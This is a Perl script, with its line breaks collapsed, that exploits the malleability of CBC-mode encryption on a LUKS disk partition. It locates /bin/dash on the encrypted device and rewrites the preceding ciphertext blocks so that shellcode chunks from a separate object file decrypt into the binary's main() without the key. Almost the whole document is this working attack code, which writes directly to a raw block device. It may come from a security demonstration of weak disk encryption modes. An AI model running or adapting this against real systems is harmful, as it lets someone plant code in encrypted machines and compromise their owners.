#! /usr/bin/perl use warnings; # Standard ext4 block size, may be 1024 or 2048 for small filesystems # dumpe2fs -h /dev/sda1|grep "Block size" my $blockSize = 4096; my $device = "/dev/sda5"; # Device of the LUKS partition my $plaintextFile = "dash"; open FH,"< $plaintextFile" or die "Can't open $plaintextFile: $!"; my $plaintextData; read(FH,$plaintextData,100000000); my $shellcodeElf = "shellcode.o"; # generated using make_cbc_shellcode.pl # cryptsetup luksDump /dev/sda5|grep Payload my $luksOffset = 4096*512; # grep -a -m1 pe_start /dev/mapper/sda5_crypt my $lvmOffset = 384*512; # debugfs -R "dump_extents /bin/dash" /dev/mapper/ubuntu-root my $filePosOnFs = 42048 * $blockSize; # Position of main() in /bin/dash, label shellcode1 will be mapped to this position my $targetPosOffset = 0x2090; # Read all shellcode chunks into @patches array my @patches; open FH,"< $shellcodeElf" or die $!; my $shellcodeData; read(FH,$shellcodeData,1024*1024); my $shellcodeStartInElf = index($shellcodeData," SHELLCODE_START"); open NM,"-|","nm","--numeric-sort",$shellcodeElf or die $!; my $shellcode1Pos; while(){ next unless my($addr,$patchNum) = /^([0-9a-f]+).*shellcode(\d+)/; # Position of shellcode chunk in shellcode.o my $posInShellcodeElf = hex($addr) + $shellcodeStartInElf; my $shellcodeChunk = substr($shellcodeData,$posInShellcodeElf,16); # Position of shellcode1 label in shellcode.o # shellcode1 is the first label in nm output due to --numeric-sort option $shellcode1Pos = $posInShellcodeElf unless defined $shellcode1Pos; my $targetPos = $targetPosOffset + $posInShellcodeElf - $shellcode1Pos; push @patches, {POS => $targetPos, DATA => $shellcodeChunk}; } # Apply all shellcode chunks from @patches to actual device open FH,"+<",$device or die "Can't open $device: $!"; for my $patch(@patches){ my $patchPos = $patch->{POS}; if($patchPos % 512 == 0){ die "Can't patch at start of block (pos=$patchPos)\n"; } my $shellcodeChunk = $patch->{DATA}; die "Length of chunk at $patchPos must be 16 bytes" if(length($shellcodeChunk) != 16); my $originalPlaintext = substr($plaintextData,$patchPos,16); print "=" x 100,"\n"; print "ORIGINAL_PLAINTEXT:\n"; hd($originalPlaintext); print "SHELLCODE_CHUNK:\n"; hd($shellcodeChunk); # Calculate the position of this shellcode chunk on the partition my $devicePos = $filePosOnFs + $patchPos + $luksOffset + $lvmOffset; print "DEVICE_POS: $devicePos\n"; # The previous ciphertext block is located at $devicePos-16 seek(FH,$devicePos-16,0); my $previousCiphertext; read(FH,$previousCiphertext,16); print "PREVIOUS_CIPHERTEXT:\n"; hd($previousCiphertext); # The plaintext to the actual aes encryption of the block we want to modify my $aesPlaintext = $originalPlaintext ^ $previousCiphertext; print "AES_PLAINTEXT:\n"; hd($aesPlaintext); my $newPreviousCiphertext = $aesPlaintext ^ $shellcodeChunk; print "NEW_PREVIOUS_CIPHERTEXT:\n"; hd($newPreviousCiphertext); # Modify previous ciphertext block at $devicePos - 16 seek(FH,$devicePos - 16,0); print FH $newPreviousCiphertext; } # Pipe the binary data given as argument to the hd (hexdump) utility sub hd{ open HD,"|hd";print HD @_;close HD; }